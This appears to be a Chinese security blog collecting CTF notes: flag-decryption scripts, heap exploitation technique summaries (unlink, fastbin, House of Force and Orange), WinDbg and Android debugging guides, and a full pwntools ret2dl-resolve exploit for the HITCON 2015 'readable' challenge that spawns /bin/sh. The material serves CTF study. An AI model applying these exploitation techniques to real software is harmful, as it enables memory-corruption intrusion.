熬了一天,感觉pwn和re的水平退步不少。

PWN

这次比赛中的pwn的题目难度一般,3个pwn分别涉及到

  • 栈溢出 ——game server
  • null byte offset-by-one —— shellcode manager
  • 格式化串漏洞 —— Starcraft RPG

中间在漏洞利用过程中也踩到了一些坑(可能是长期没打没有手感,有时间会整理一下)。

RE

re只看了最简单的icm,感觉自己re方面真是非常菜,赛后重新整理了getFlag的脚本,进行了简化:

#!/usr/bin/env python
'''
    pip install cryptography
'''
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend


def getCipherAlgorithm(key, mode):
    backend = default_backend()
    cipher = Cipher(algorithms.IDEA(key), mode, backend=backend)
    return cipher

def encrypt(plainMsg, key, mode):
    cipher = getCipherAlgorithm(key, mode)
    encryptor = cipher.encryptor()
    res = encryptor.update(plainMsg) + encryptor.finalize()
    return res

def decrypt(cipherMsg, key, mode):
    cipher = getCipherAlgorithm(key, mode)
    decryptor = cipher.decryptor()
    res = decryptor.update(cipherMsg) + decryptor.finalize()
    return res

def getKey():
    from ctypes import *
    res = []
    buf = ""
    libc = cdll.LoadLibrary("libc.so.6")
    libc.srand(0x78C819C3)
    for i in range(16):
        buf += "{:02x}".format(libc.rand() % 256).decode('hex')
    return buf

def getCipherText():
    secret = [
        0xd0,  0xe0,  0xab,  0x9c,  0xcd,  0x78,  0x5b,  0x54,
        0x3d,  0xe4,  0xea,  0x33,  0x51,  0x44,  0x6d,  0x3c,
        0x4e,  0xce,  0xdf,  0xb5,  0x41,  0x0,  0x1c,  0xec,
        0xe3,  0x1b,  0xc3,  0x8c,  0x91,  0x25,  0x7f,  0x1b,
        0x60,  0xfe,  0x35,  0x9c,  0xea,  0x4,  0x4c,  0x87,
        0x8d,  0x97,  0x93,  0x5c,  0xb8,  0x9a,  0x70,  0x75,
    ]
    buf = ""
    for i in range(len(secret)):
        secret[i] = (119-i) ^ secret[i]
    for i in range(len(secret)):
        secret[i] = secret[i] ^ (8 - i%8)
        buf += "{:02x}".format(secret[i]).decode('hex')

    return buf

def getFlag():
    cipherText = getCipherText()
    key = getKey()
    mode = modes.ECB()
    msg = decrypt(cipherText, key, mode)
    print msg

if __name__ == '__main__':
    getFlag()

wcm解密脚本:

'''
SM4 from https://github.com/yixiangzhike/AlgorithmSM
'''
from SM4 import *
from ctypes import *


def getKey():
    key = ""
    libc = cdll.msvcrt
    libc.srand(0x2872DD1B)
    for i in range(16):
        key += "{:02x}".format(libc.rand() % 256)
    return key.decode('hex')

def getCipherText():
    secret = [
        0xf4,  0x88,  0x91,  0xc2,  0x9b,  0x20,  0x5b,  0x3,
        0xf1,  0xed,  0xf6,  0x13,  0x46,  0x3c,  0x55,  0x81,
        0x61,  0xf,  0xff,  0x14,  0x6e,  0x1c,  0x48,  0x28,
        0x79,  0x9f,  0x85,  0xaf,  0xc5,  0x58,  0xd,  0xd6,
        0xa5,  0xd9,  0x64,  0xfd,  0x46,  0x9,  0x8c,  0xdf,
        0x3b,  0xa5,  0x37,  0x62,  0x5a,  0xa6,  0xd2,  0x4b,
    ]
    v9 = 51
    cipherText = ""
    while v9 - 51 < 48:
        cipherText += "{:02x}".format(secret[v9-51] ^ v9)
        v9 += 1
    return cipherText.decode('hex')


key = getKey().encode('hex')
print "key is {}".format(key)
cipherText = getCipherText().encode('hex')
print "cipherText is {}".format(cipherText)
sm4 = SM4(key=key)
msg = sm4.sm4_decrypt(cipherText, SM4_ECB)
print msg.decode('hex')

Crypto

3dlight,当时就考虑用解多元一次方程组的方法来求解,当时搞不动了,后来抽空写了下生成系数矩阵的脚本,迎刃而解

import numpy as np
import os

def str2arr(str):
    return [[[(ord(str[i * 8 + j]) >> k & 1) for k in xrange(8)] for j in xrange(8)] for i in xrange(8)]

def str2arr_rev(arr):
    ret = ""
    for i in xrange(8):
        for j in xrange(8):
            ret += chr(int(''.join(map(str, arr[i][j][::-1])), 2))
    return ret

def arr2str(arr):
    ret = ''
    for i in xrange(8):
        for j in xrange(8):
            for k in xrange(8):
                ret += chr(arr[i][j][k])
    return ret

def arr2str_rev(str2):
    ret = [[[0 for k in xrange(8)] for j in xrange(8)] for i in xrange(8)]
    for i in xrange(8):
        for j in xrange(8):
            for k in xrange(8):
                ret[i][j][k] = ord(str2[i*64+j*8+k])
    return ret

def check(x, y, z):
    if x < 0 or x > 7 or y < 0 or y > 7 or z < 0 or z > 7:
        return False
    return True

def light(arr, i, j, k, x, y, z, power): # square
    if check(i + x, j + y, k + z):
        arr[i + x][j + y][k + z] += power  # top right
    if x != 0 and check(i - x, j + y, k + z):
        arr[i - x][j + y][k + z] += power #
    if y != 0 and check(i + x, j - y, k + z):
        arr[i + x][j - y][k + z] += power
    if z != 0 and check(i + x, j + y, k - z):
        arr[i + x][j + y][k - z] += power
    if x != 0 and y != 0 and check(i - x, j - y, k + z):
        arr[i - x][j - y][k + z] += power
    if x != 0 and z != 0 and check(i - x, j + y, k - z):
        arr[i - x][j + y][k - z] += power
    if y != 0 and z != 0 and check(i + x, j - y, k - z):
        arr[i + x][j - y][k - z] += power
    if x != 0 and y != 0 and z != 0 and check(i - x, j - y, k - z):
        arr[i - x][j - y][k - z] += power

def encrypt(flag, power):
    ret = [[[0 for _ in xrange(8)] for _ in xrange(8)] for _ in xrange(8)]
    lights = str2arr(flag)
    for i in range(8):
        for j in range(8):
            for k in range(8):
                if lights[i][j][k] == 1: # bit is 1
                    for x in range(power):
                        for y in range(power - x):
                            for z in range(power - x - y):
                                light(ret, i, j, k, x, y, z, power - x - y - z)
    return arr2str(ret)

def getMatrix():
    A = [[ 0 for i in range(8**3)] for j in range(8**3)]
    for row in range(len(A)):
        ord_x = row / 8**2
        ord_y = (row - ord_x*(8**2))/8
        ord_z = row % 8
        A[row][ord_x * 8**2 + ord_y * 8 + ord_z] = 2
        if ord_x > 0:
            A[row][(ord_x-1)* 8**2 + ord_y*8 + ord_z] = 1
        if ord_x < 7:
            A[row][(ord_x+1)* 8**2 + ord_y*8 + ord_z] = 1
        if ord_y > 0:
            A[row][ord_x* 8**2 + (ord_y-1) *8 + ord_z] = 1
        if ord_y < 7:
            A[row][ord_x* 8**2 + (ord_y+1) *8 + ord_z] = 1
        if ord_z > 0:
            A[row][ord_x * 8**2 + ord_y * 8 + ord_z -1 ] = 1
        if ord_z < 7:
            A[row][ord_x * 8**2 + ord_y * 8 + ord_z + 1] = 1

    return np.array(A)

def getCipher():
    flag = "flag{abcdefg_hij_klm_nop_qrst_uvwxyz_0123456789_1234567890__xyz}"
    shuffle_flag = ''.join(flag[0::2][i] + flag[-1::-2][i] for i in xrange(32))
    cipher = encrypt(shuffle_flag, 2)
    CipherArr =arr2str_rev(cipher)
    return np.array(CipherArr).flatten()


def decrypt():
    solvea = np.linalg.solve(getMatrix(), getCipher())
    t = []
    for a in solvea:
        if abs(a) < 0.0001:
            t.append(0)
        else:
            t.append(1)

    flag = ""
    for i in range(0, len(t), 8):
        flag += chr(int(''.join(map(str, t[i:i+8]))[::-1], 2))

    return ''.join(flag[0::2][i] + flag[-1::-2][i] for i in xrange(32))


print decrypt()

 

  • comm tips:
    • environ指向的地址-30*size 为 main函数的返回地址的栈地址
    • 申请分配large chunk时,会进行 malloc_consolidate,清空fastbins表,进行合并
  • scanf, printf 当输入、输出过长时,会调用malloc、free
  • addr(main_arena)-0x10 = addr(__malloc_hook)
  • malloc、calloc、realloc区别
    •  calloc 在分配后会自动进行清空
    • 当realloc(ptr,size)的size不等于ptr的size时
      • 如果申请size>原来size
        • 如果chunk与top chunk相邻,直接扩展这个chunk到新size大小
        • 如果chunk与top chunk不相邻,相当于free(ptr),malloc(new_size)
      • 如果申请size<原来size
        • 如果相差不足以容得下一个最小chunk(64位下32个字节,32位下16个字节),则保持不变
        • 如果相差可以容得下一个最小chunk,则切割原chunk为两部分,free掉后一部分
    • 当realloc(ptr,size)的size等于0时,相当于free(ptr)
    • 当realloc(ptr,size)的size等于ptr的size,不进行任何操作
  • unlink利用
    • 条件:
      • 存在堆溢出,可以伪造堆块和控制下一个堆块的头部
      • 存在全局指针ptr指向堆块
    • 方法:
      • 伪造堆块
        • fd=ptr-size*3
        • bk=ptr-size*2
      • unlink成功之后
        • ptr=ptr-size*3
        • 编辑ptr指向的内容,修改ptr指向got表,再编辑ptr即可overwrite got表
    • chunk0                malloc返回的ptr           chunk1        malloc返回的ptr
      |                     |                        |             |
      +-----------+---------+----+----+----+----+----+------+------+----+----+------+
      |           |         |fake|fake|fake|fake| D  | fake | fake |    |    |      |
      |           |         |prev|size| FD | BK | A  | prev | size&|    |    |      |
      | prev_size |size&Flag|size|    |    |    | T  | size | flag |    |    |      |
      |           |         |    |    |    |    | A  |      |      |    |    |      |
      |           |         |    |    |    |    |    |      |      |    |    |      |
      +-----------+---------+----+----+----+----+----+------+------+----+----+------+
                            |--------new_size--------|
                            list
  • fastbin attack
    • house of spirit
      • 伪造chunk,free之后再次申请chunk进行攻击
    • double free
      • 重复释放同一个chunk,实现类似类型混淆的效果
    • Arbitrary Alloc

      • 利用: malloc_hook地址-0x28+5 作为伪造的fd指针(地址错位)
        • pwndbg> p &__malloc_hook
          $2 = (void *(**)(size_t, const void *)) 0x7ff5dd109b10 <__malloc_hook>
          pwndbg> dqs 0x7ff5dd109b10-0x28+5
          00:0000│ 0x7ff5dd109aed (_IO_wide_data_0+301) ◂— 0xf5dd108260000000
          01:0008│ 0x7ff5dd109af5 (_IO_wide_data_0+309) ◂— 0x7f
          02:0010│ 0x7ff5dd109afd ◂— 0xf5dcdcae20000000
          03:0018│ 0x7ff5dd109b05 (__memalign_hook+5) ◂— 0xf5dcdcaa0000007f
          04:0020│ 0x7ff5dd109b0d (__realloc_hook+5) ◂— 0x7f
          05:0028│ 0x7ff5dd109b15 (__malloc_hook+5) ◂— 0x0
          ...
          07:0038│ 0x7ff5dd109b25 (main_arena+5) ◂— 0xc7604a04a0000000
  • unsorted bin attack
    • 条件:
      • 能够控制 Unsorted Bin Chunk 的 bk 指针(bk = target_addr – 0x10)。
    • 效果:
      • 实现修改任意地址值为一个较大的数值(unsorte bin地址),例如 global_max_fast,例如_IO_list_all(house of orange)
  • House of Lore(small bin attack)
    • 条件:
      • 能够修改small bin中的bk指针
    • 方法:
      • 修改small bin中的bk指针指向伪造的chunk,同时令fake chunk的fd指针不等于small bin中的最后一个chunk
    • 效果:
      • 任意地址写
  • House Of Einherjar (small或large bin attack)free时触发
    • 条件:
      • 需要有溢出漏洞可以写物理相邻的高地址的 prev_size 与 PREV_INUSE 部分。
      • 我们需要计算目的 chunk 与 p1 地址之间的差,所以需要泄漏地址。
      • 我们需要在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测。
    • 方法:
      • 覆盖相邻到地址的prev_size与PREV_INUSE标志位
    • 效果:
      • 任意地址写
  • House Of Force (top chunk)
    • 条件:
      • 能够以溢出等方式控制到 top chunk 的 size 域
      • 能够自由地控制堆分配尺寸的大小
    • 方法:
      • 修改top chunk size域为-1,然后分配指定大小的堆块(计算偏移)
    • 效果:
      • 能够在任意地址分配堆块,实现任意地址写
  • House Of Orange (top chunk + unsorted bin + FILE attack)
    • 条件:
      • 首先需要目标漏洞是堆上的漏洞
      • 不存在free函数或其他释放堆块的函数
    • 方法:
      • 伪造top chunk的size,满足
        1. 伪造的size必须要对齐到内存页
        2. size要大于MINSIZE(0x10)
        3. size要小于之后申请的chunk size + MINSIZE(0x10)
        4. size的prev inuse位必须为1
    • 效果:
      • control the world

参考:

  • https://ctf-wiki.github.io/ctf-wiki/pwn/heap/

命令介绍

windbg支持三种类型的命令,标准命令元命令扩展命令

标准命令提供最基本的调试功能,不区分大小写,如k,g,dt,bp等

元命令提供标准命令没有提供的功能,也内建在调试引擎中,以 “.” 开头,如.sympath .reload等

扩展命令用于扩展某一方面的调试功能,实现在动态加载的扩展模块中,以 ! 开头,如 !analyze等(需要将第三方dll文件放到winext目录,使用时先用.load xxx.dll加载,然后使用!xxx 使用扩展模块功能)

查看帮助

  • ? —— 打印出所有标准命令
  • .help —— 打印出所有元命令
  • .chain —— 给出一个扩展命令集的链表
  • !<module_name>.help —— 查看扩展模块帮助
  • .hh —— 打开windbg的chm帮助文件

断点相关

  • bp <address> —— 设置软件断点,针对某个地址,例如 bp c87fb320, bp edgehtml!ProcessCSSText,当edgehtml!ProcessCSSText位置发生变化时,断点的位置不变
  • bu <symbol> ——设置延迟断点,针对符号,例如 bu edgehtml!ProcessCSSText,当符号地址变化时,对应的断点地址也会变化
  • bm <reg> —— 设置符号断点,支持匹配表达式,例如 bm edgehtml!Process*
  • ba <access> <size> <addr> —— 设置处理器断点,access包括 e(执行)、r(读)、w(写),例如 ba w4 0xcccccccc
  • bl —— 列出所有断点
  • be <index> —— 激活指定编号断点
  • bd <index> —— 禁止断点
  • bc <index> —— 清除断点

读写/搜索内存

  • !address —— 查看进程的所有内存页属性
    • !address –summary,显示进程的内存统计信息
    • !address 7ffd8000 ,查看7ffd8000地址处内存页属性
  • d <type> <address range> ——根据指定的类型查看存储在某地址中的数据
    • da —— 显示ASCII字符,每行最多显示48字符,例如 da rip, da rip L4, da rip rip+16
    • db —— 显示字节值和ASCII字符
    • dw —— 显示字值(2字节)
    • dd —— 显示双字,默认长度为32 Dwords,dd poi(ebp+4),poi——解引用指针
    • dD —— 显示双精度浮点数(8字节),默认 15 个数字
    • df —— 显示单精度浮点数(4字节),默认 16个数字
    • dq —— 显示四字值(8字节)
    • du —— 显示Unicode字符串
    • ds —— 显示ASCII字符串
  • d<type>s <address range> —— 打印地址上的二进制值,同时搜索符号信息
    • dds 0xdeafbeaf L20 —— 打印0xdeafbeaf开始的0x20个双字二进制值,并检索符号
    • dqs 0xdeadbeafdeadbeaf —— 打印0xdeafbeaf开始的16(默认值)个四字二进制值,并检索符号
  • e <type> <address> <value> —— 修改指定内存中的数据
    • ea 0x445634 “abc” ——在0x445634地址写入ASCII字符串abc,不包含结束符0
    • eza 0x445634 “abc” —— 在0x445634地址写入ASCII字符串abc, 包含结束符0
    • eu 0x445634 “abc” —— 在0x445634地址写入Unicode字符串abc,不包含结束符0
    • ezu 0x445634 “abc” —— 在0x445634地址写入Unicode字符串abc,包含结束符0
    • ed nCounter 80 —— 修改变量nCounter的值为80
    • ew 00007ff9`a9ddfc06 cc —— 修改00007ff9`a9ddfc06处的双字节为0x00cc
  • .writemem <file> <address range> —— 将指定内存的内容写入文件中
    • .writemem D:\Test\0041a5e4.bin 0041a5e4 L1000 ,将内存地址处0x0041a5e4后面0x1000长度的内容拷贝存储到D:\Test\0041a5e4.bin中
  • S  [<options>] <range> <values> —— 搜索内存
    • s -w 55230000 L0x100 0x1212 0x2212 ,在起始地址0x55230000之后的0x100个单位内搜索0x1212 0x2212 0x1234系列的起始地址
    • s -u 52230000 52270000 “web” , 在55230000和55270000之间搜索Unicode字符串“web”
    • s -d 55230000 L0x100 0xdeadbeaf,在起始地址0x55230000之后的0x100个单位内搜索0xdeadbeaf

读写寄存器

  • r [[<reg> [= <expr>]]] —— 查看或设置寄存器
    • r —— 查看所有寄存器值
    • r eax —— 查看eax值
    • r rax = rip —— 设置rax的值为rip值

符号加载与查看

  • .symopt —— 显示所有符号选项
  • .reload —— 重载符号表
  • ld * —— 加载模块的符号信息
    • ld *  —— 为所有模块加载符号信息
    • ld kernel32 —— 为kernel32加载符号信息
  • x [<*|module>!]<*|symbol> —— 查看符号信息
    • x *! ,列出所有模块的符号信息
    • x edgehtml!,列出edgehtml模块的符号信息
    • x edgehtml!CDOM*,列出edgehtml模块中所有以CDOM开始的符号信息
  • lm —— 列出所有模块的信息
  • lmv m ntdll —— 查看ntdll的加载信息(简略)
  • lmvm <module name> —— 查看指定模块的详细信息
  • !dlls -l —— 按照加载顺序列出所有加载模块
  • !dlls -c <function_name> —— 查找函数所在模块
  • ln <addr> —— 查看地址addr处或附近的符号信息

调用堆栈

  • k <num>—— 显示当前调用堆栈
    • k 5,显示最近5层函数调用信息
    • kb 4,打印出前3个函数参数的当前调用堆栈
    • kD,从当前esp(rsp)开始,向高地址方向搜索符号(等价于 dds esp或dqs rsp)
  • .frame —— 显示当前栈帧
    • .frame 4 —— 显示编号为n的栈帧
  • !uniqstack —— 显示所有线程的调用堆栈

查看堆

  • !heap -s —— 显示进程堆的个数
  • dt _HEAP 001400000  —— 选取一个堆地址,打印该堆的内存结构
  • !heap -a 001400000 —— 选取一个堆地址,打印堆结构

调试执行

  • g——继续执行
    • gH,强制让调试器返回已经处理了这个异常
    • gN,强制让调试器返回没有处理这个异常
    • gu,执行到当前函数完成时停下,遇到ret指令停下
  • wt —— Trace and watch data, 在函数起始地址处执行该命令,跟踪并打印该函数内部调用过程
  • ctrl+break —— 暂停正在运行的程序
  • p —— 单步执行(step over)
    • p 2,单步执行2条指令
    • pc (step to next call), 执行到下一个函数调用处停下
    • pa 7c801b0b ( step to address),执行到7c801b0b处停下
    • pt,step到下一条ret指令
  • t —— 单步步入(step into)
    • tc —— 执行到下一个call指令处停下
    • ta 7c801b0b,执行到7c801b0b处停下
    • tb,执行到分支指令处(calls、returns、jumps、loops)停下
    • tt,trace到下一条ret指令

查看汇编

  • u  —— 反汇编
    • u ,反汇编当前ip寄存器地址后的8条指令
    • ub ,反汇编当前ip寄存器地址的前8条指令
    • u main+0x29 L30,反汇编main+0x29地址的后30条指令
    • uf CTest::add ,反汇编CTest类的add函数
    • uf /c main,查看main中的函数调用有哪些

查看数据类型与局部变量

  • dt —— 打印类型信息
    • dt ntdll!_IMAGE_DOS_HEADER,打印ntdll中的_IMAGE_DOS_HEADER结构
    • dt nRet,打印局部变量nRet的类型与值
    • dt myApp!g_app,打印myApp进程里全局变量g_app的内存布局
    • dt WindbgTest!CTest 0x0041f8b4,将0x0041f8d4地址处内容按照模块WindbgTest的CTest结构来解析
    • dt -b -r3 <structure>,-b 递归显示所有子类型信息,-r指定递归显示深度
  • dv —— 显示局部变量

诊断

  • !analyze -v —— 详细显示当前异常信息
  • !analyze -hang —— 诊断线程调用栈上是否有任何线程阻塞了其他线程
  • !analyze -f —— 查看异常分析信息,尽管调试器未诊断出异常

进程与线程

  • !peb —— 格式化输出PEB(Process Environment Block)信息
  • !teb —— 格式化输出TEB(Thread Environment Block)信息
  • !tls -1 —— 显示当前线程的所有slot信息
  • | —— 列出所有调试进程
    • |N,查看序号为N的调试进程
    • |Ns,切换序号为N的进程为当前调试进程
  • ~ —— 列出所有线程
    • ~*k —— 列出所有线程堆栈信息
    • ~. —— 查看当前线程
    • ~0 —— 查看主线程
    • ~#  —— 查看导致当前事件或异常的线程
    • ~N —— 查看N号线程
    • ~Ns —— 切换序号为N的线程为当前调试线程
    • ~Nf —— 冻结序号为N的线程
    • ~Nu —— 解冻序号为N的线程
    • ~Nn —— Suspend序号为N的线程
    • ~Nm —— Resume序号为N的线程

参考:

  1. http://www.cnblogs.com/kekec/archive/2012/12/02/2798020.html

第一种方法(jeb)

  1. 在模拟器或者真机中安装并运行apk
  2. 以调试模式启动应用
    adb shell dumpsys activity top | head // 获取package name和activity name
    adb shell am start -D -n packagename/.activityname
  3. 在jeb中设置断点,点击debug,选择设备和对应的调试进程

第二种方法(Android Studio + Smalidea)

  1. 使用apktool或者Android Crack Tool解包apk
  2. 将解包的工程导入到Android Studio中
  3. 以调试模式启动应用
    adb shell am start -D -n packagename/.MainActivity
  4. 启动monitor,选中调试应用,开启8700端口
  5. 在smali中设置断点,并且设置远程调试(Run->Edit Configurations-> + -> remote,设置端口为8700),点击debug

转自http://blog.smvirus.com/2015/08/02/ida-pro-dump-memory-script/

使用IDA Pro调试程序时偶尔会遇到dump内存的需求,IDA Pro并没有直接提供内存dump的功能,但可以通过其提供的接口用脚本来实现相关功能。

IDC脚本

auto i,fp;
fp = fopen("d:\\dump","wb");
for (i = start_address; i <= end_address; i++)
     fputc(Byte(i),fp);

IDA Python脚本

import idaapi

data = idaapi.dbg_read_memory(start_address, data_length)
fp = open('d:\\dump', 'wb')
fp.write(data)
fp.close()

相对地址跳转

伪代码机器码示例
jmp short s eb+offset(1个字节) eb03 ,ebfd
jmp near ptr s e9+offset(4个字节)e996000000, e964ffffff

绝对地址跳转

位数伪代码机器码示例
32位push addr; jmp esp;68+addr(4个字节 )+ffe4 68afbeaddeffe4
64位mov rax, addr; jmp rax; 48b8+addr(8个字节)+ffe048b8afbeaddeafbeafdeffe0

readable下载:

readable

checksec:

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

逻辑:

非常清晰的栈溢出漏洞,刚好可以覆盖到返回地址,

Exp如下:

#!/usr/bin/env python
from pwn import *
import pdb
import sys


binary = ELF("./readable")
context.terminal = ['tmux', 'splitw', '-h']
DEBUG = 1
GDB_DEBUG = 1

if len(sys.argv) > 1:
    DEBUG = int(sys.argv[1])

if DEBUG:
    context.log_level = 'debug'
    proc = binary.process()


def writeData(data, addr):
    content = "A" * 16
    content += p64(addr + 0x10)  # written from this address - 0x10
    content += p64(0x400505)
    content += data.ljust(16, '\x00')
    content += p64(0x600e00)
    content += p64(0x400505)  # lea rax, [rbp+buf]
    proc.send(content)


def exp():

    buf_base = 0x600c00  # buf_base - .dynmaic->VERSYM >= 0x180
    # because sub esp, 0x180 in _dl_runtime_resolve_avx, otherwise
    # it will overwrite .dynamic section
    buf = p64(0x400593)  # pop rdi; ret
    buf += p64(buf_base + 0x28)  # binsh address
    buf += p64(0x4003d0)  # plt0 address
    buf += p64(0)
    buf += "system".ljust(8, '\x00')
    buf += "/bin/sh\x00"

    # modify .dynamic STRTAB and SYMTAB
    dynamic_addr = 0x6006f8
    # STRTAB is the 8th item in .dynamic section, and SYMTAB is just behind
    buf2_base = dynamic_addr + 8 * 0x10
    buf2 = p64(5)  # DT_STRTAB
    buf2 += p64(buf_base + 0x20)  # fake strtab address
    buf2 += p64(6)  # DT_SYMTAB
    buf2 += p64(0x600f00)  # fake symtab address,default 0

    if DEBUG and GDB_DEBUG:
        gdb.attach(proc, """
            b *_dl_fixup+0x209
            """)

    for i in range(0, len(buf), 16):
        writeData(buf[i:i + 16], buf_base + i)

    for i in range(0, len(buf2), 16):
        writeData(buf2[i:i + 16], buf2_base + i)

    # pdb.set_trace()
    proc.send('\x90' * 16 + p64(buf_base - 8) + p64(0x400520))

    proc.interactive()


exp()

参考:

https://github.com/pwning/public-writeup/blob/master/hitcon2015/pwn300-readable/writeup.md

可用工具: roputils.py

适用场景:

  • 无法leak内存
  • 所有可以采用stack pivot的场景

一、(Partial RELRO 或者 no RELRO) and no PIE

1. 32位平台:

_dl_runtime_resolve(link_map *, reloc_offset)

利用roputils的dl_resolve_call(base, binsh_addr)和dl_resolve_data(base, “system”)完成system(“/bin/sh”),注意:连续写入dl_resolve_call和dl_resolve_data的数据时,要将dl_resolve_call放在dl_resolve_data的内容之前,否则sub esp会覆盖前面的数据

2. 64位平台

_dl_runtime_resolve(link_map *, reloc_index)
  1. 无RELRO的情况下,可以修改.dynmaic段中的DT_STRTAB指向.bss(注意要与.dynamic段的倒数第二项VERSYM保持至少0x180的间距),修改.dynamic段中的SYMTAB指向.bss,伪造sym,绕过sym->other检测,然后在STRTAB+sym->st_name的位置写入”system”,参考 http://skysider.com/?p=602
  2. Patial RELRO
    1. 可以leak时,需要leak link_map,令 link_map +0x1c8 = 0(对应link_map->l_info[49])(此时也可以leak 函数地址,然后确定libc版本,return-to-libc)
      if(__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)
      {
          const struct r_found_version *version = NULL;
          
          if (l->l_info[VERSYMIDX(DT_VERSYM])!=NULL)
          {
           const ElfW(Half) *vernum = 
             (const void *) D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
           ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7ffff;
           version = &l->l_versions[ndx];
           if(version->hash) == 0
               version = NULL;
          }

      在伪造sym之后造成VERSYM取值超出范围,造成segment fault

    2. 无leak(前提需要知道libc版本,需要有一个已经resolved过的函数)
      1. 修改link_map指针(GOT[1],令其指向一个解析过的函数的GOT表项,比如.got[‘read’])
      2. 正确构造link_map中的l_info[DT_JMPREL]、l_info[DT_SYMTAB]、l_info[DT_STRTAB](可与原有的link_map值相等)
      3. 伪造index, 使其指向伪造的 reloc
      4. reloc->info>>0x20为SYMTAB的下标,使其指向伪造的Elf64_Sym项
      5. if((sym->st_other) & 3 ) != 0) // 如果已经resolve过
            value = DL_FIXUP_MAKE_VALUE(l, l->l_addr + sym->st_value)

        令sym->st_other的第2位为1,此时调用 DL_FIXUP_MAKE_VALUE宏返回解析过的函数地址,正常情况下,link_map的l_addr=0(代表ELF文件中的虚拟地址与实际加载地址之间的差值),  sym->st_value为0,(got表项中的函数解析地址与实际虚拟地址之间的差值)。而通过伪造link_map指针,使l->l_addr为解析过的函数地址,sym->st_value为system地址与该函数地址之间的差值,二者之和就是system的实际地址。解析后的system地址存放在reloc->offset + sym->st_value的地方,要确保可写

二、Full RELRO:

前提:可以leak内存

常用思路:读取.dynamic段中的d_tag=DT_DEBUG的项,其中的d_value指向一个r_debug结构体,定义如下:

struct r_debug { #64位版本
    int r_version;
    struct link_map_public *r_map;
    Elf64_Addr r_brk;
    enum {RT_CONSISTENT, RT_ADD, RT_DELETE} r_state;
    Elf64_Addr r_ldbase;

其中r_map成员指向link_map链表的头节点,头结点为当前elf文件的link_map,伪造link_map中l_info[DT_JMPREL]和l_info[DT_STRTAB],伪造.rel.plt表以及.dynstr表,使rel表项指向已有的.dynsym项,由于.dynstr表被伪造,st_name指向fake .dynstr中的字符串。

第二个问题是需要调用_dl_runtime_resolve,但是开启了 Full Relro的程序 .plt.got表中没有该函数的地址,此时可以去遍历link_map链表,通过link_map->l_name可以获取当前加载库的路径,从中可以找到未开启Full Relro的库文件(比如libc.so.6),读取link_map->l_info[DT_PLTGOT]->d_val可以找到.plt.got的地址,读取GOT[2]就可以找到_dl_runtime_resolve的地址。

以上图片来自http://www.inforsec.org/wp/?p=389

附:

/* Dynamic section tags.  */

#define DT_NULL		0
#define DT_NEEDED	1
#define DT_PLTRELSZ	2
#define DT_PLTGOT	3
#define DT_HASH		4
#define DT_STRTAB	5
#define DT_SYMTAB	6
#define DT_RELA		7
#define DT_RELASZ	8
#define DT_RELAENT	9
#define DT_STRSZ	10
#define DT_SYMENT	11
#define DT_INIT		12
#define DT_FINI		13
#define DT_SONAME	14
#define DT_RPATH	15
#define DT_SYMBOLIC	16
#define DT_REL		17
#define DT_RELSZ	18
#define DT_RELENT	19
#define DT_PLTREL	20
#define DT_DEBUG	21
#define DT_TEXTREL	22
#define DT_JMPREL	23
#define DT_BIND_NOW	24
#define DT_INIT_ARRAY	25
#define DT_FINI_ARRAY	26
#define DT_INIT_ARRAYSZ 27
#define DT_FINI_ARRAYSZ 28
#define DT_RUNPATH	29
#define DT_FLAGS	30
#define DT_ENCODING	32
#define DT_PREINIT_ARRAY   32
#define DT_PREINIT_ARRAYSZ 33

参考:

  1. http://angelboy.logdown.com/posts/283218-return-to-dl-resolve
  2. http://code.metager.de/source/xref/gnu/src/include/elf/common.h
  3. http://www.inforsec.org/wp/?p=389

环境:

  • MacOS(宿主机)
    • android-studio(包含adb、monitor、jdb等工具)
    • socat
  • Windows(虚拟机)
    • ida pro(包含android_server)
  • Android模拟器或手机(android)
    • 待调试app

注意:

  1. 如果是模拟器进行调试,ro.debuggable默认为1,不需要二次打包
  2. 如果是真机进行调试,有2种比较方便的方法
    • 对app进行二次打包,修改AndroidManifest.xml中application,添加android:debuggable=”true”
    • 安装xposed框架(需要root,刷第三方recovery),之后安装xinstaller模块,设置xinstaller启动专家模式,在其他设置中开启“调试应用”

运行:

1.  运行android_server(默认开启23946端口)

adb push android_server /data/local/tmp/

adb shell
su
chmod 777 /data/local/tmp/android_server
/data/local/tmp/android_server

2.  开启端口转发

adb forward默认转发到localhost的指定端口,因此需要进行端口转发使虚拟机可以访问

adb forward tcp:23945 tcp:23946
socat TCP4-LISTEN:23946,reuseaddr,fork TCP4:127.0.0.1:23945 &

3.  以debug模式启动程序

adb shell dumpsys activity top | head # 查看top activity信息,作为下面-n的参数
adb shell am start -D -n com.yaotong.crackme/.MainActivity

4 开启ddms

monitor,选中要调试的app(开启8700端口)

5.  ida attach target app and suspend on libary loading,F9继续运行(Windows)

6.  用jdb将app恢复执行

jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700

7.   add breakpoint at JNI_OnLoad(Windows)

参考:

  1. http://wooyun.jozxing.cc/static/drops/tips-6840.html
  2. http://wooyun.jozxing.cc/static/drops/mobile-5942.html

环境:

安卓手机(android5.0及以上, arm64, root)

笔记本

工具:

adb、termuxf-droid(可选,可通过f-droid安装termux)

步骤:

1. 安装termux (手机)

2. 安装sshd

运行termux

apt update
apt install -y openssh
whoami # u0_a279
sshd

 

3. 建立ssh连接(电脑)

adb push ~/.ssh/id_rsa.pub /data/local/tmp/
adb shell
>su
#cat /data/local/tmp/id_rsa.pub >> \
    /data/data/com.termux/files/home/.ssh/authorized_keys
#chown u0_a279:u0_a279 /data/data/com.termux/files/home/.ssh/authorized_keys
exit
exit
ssh $ip -p8022

 

4. 安装软件

apt install -y python2 python2-dev socat \
               strace clang make gdb git wget\
               libffi-dev openssl-dev file \
               tsu tmux
pip2 download capstone
tar zxf capstone-3.0.4.tar.gz
cd capstone-3.0.4
termux-fix-shebang src/make.sh
python2 setup.py install
cd .. && rm -rf capstone-3.04. && rm capstone-3.0.4.tar.gz
pip2 install pwntools
termux-setup-storage # 获取sdcard访问权限
tsu # 切换到root账户

 

参考:

https://termux.com/linux.html

https://termux.com/ssh.html